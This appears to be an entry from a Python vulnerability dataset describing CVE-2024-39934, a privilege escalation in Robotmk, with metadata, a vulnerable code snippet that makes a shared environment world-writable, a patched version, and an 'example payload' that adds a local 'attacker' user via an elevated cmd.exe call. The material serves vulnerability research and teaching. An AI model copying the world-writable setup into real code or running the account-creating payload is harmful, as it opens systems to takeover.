CVE-2024-39934

Local privilege escalation due to insecure Python environment setup.

• CVSS 7.8
• CWE-284
• Configuration Issues
• Local

Robotmk before 2.0.1 allows a local user to escalate privileges (e.g., to SYSTEM) if automated Python environment setup is enabled, because the "shared holotree usage" feature allows any user to edit any Python environment.

CVE

CVE-2024-39934

CWE

CWE-284

CVSS base score

7.8

Published

2024-07-04

OWASP

A05 Security Misconfiguration

Orthogonal defect classification

Interface

Code defect classification

Incorrect Interface

Category

Configuration Issues

Subcategory

Privilege Escalation

Accessibility scope

Local

Impact

Privilege Escalation

Affected component

Robotmk

Solution

Upgrade to Robotmk version 2.0.1 or later to mitigate the privilege escalation vulnerability.

import os

def create_shared_environment(env_path):
    os.makedirs(env_path, exist_ok=True)
    os.chmod(env_path, 0o777)

create_shared_environment('/path/to/shared/python/environment')

import os

def create_shared_environment(env_path):
    if not os.path.commonpath([env_path, '/trusted/base/path']) == '/trusted/base/path':
        raise ValueError("The specified path is outside the allowed base path")
    
    os.makedirs(env_path, exist_ok=True)
    os.chmod(env_path, 0o755)

create_shared_environment('/path/to/shared/python/environment')

import os

# Example payload to create a malicious script in the shared environment
malicious_script = """
import os
import ctypes

# Code to escalate privileges
def escalate_privileges():
    ctypes.windll.shell32.ShellExecuteW(None, "runas", "cmd.exe", "/c net user attacker MySecurePassword /add", None, 1)

escalate_privileges()
"""

# Write the malicious script to the shared environment
with open('/path/to/shared/python/environment/malicious_script.py', 'w') as f:
    f.write(malicious_script)

# Execute the malicious script
os.system('python /path/to/shared/python/environment/malicious_script.py')

@misc{vaitp:cve202439934,
  title        = {{Local privilege escalation due to insecure Python environment setup.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-39934},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-39934/}}
}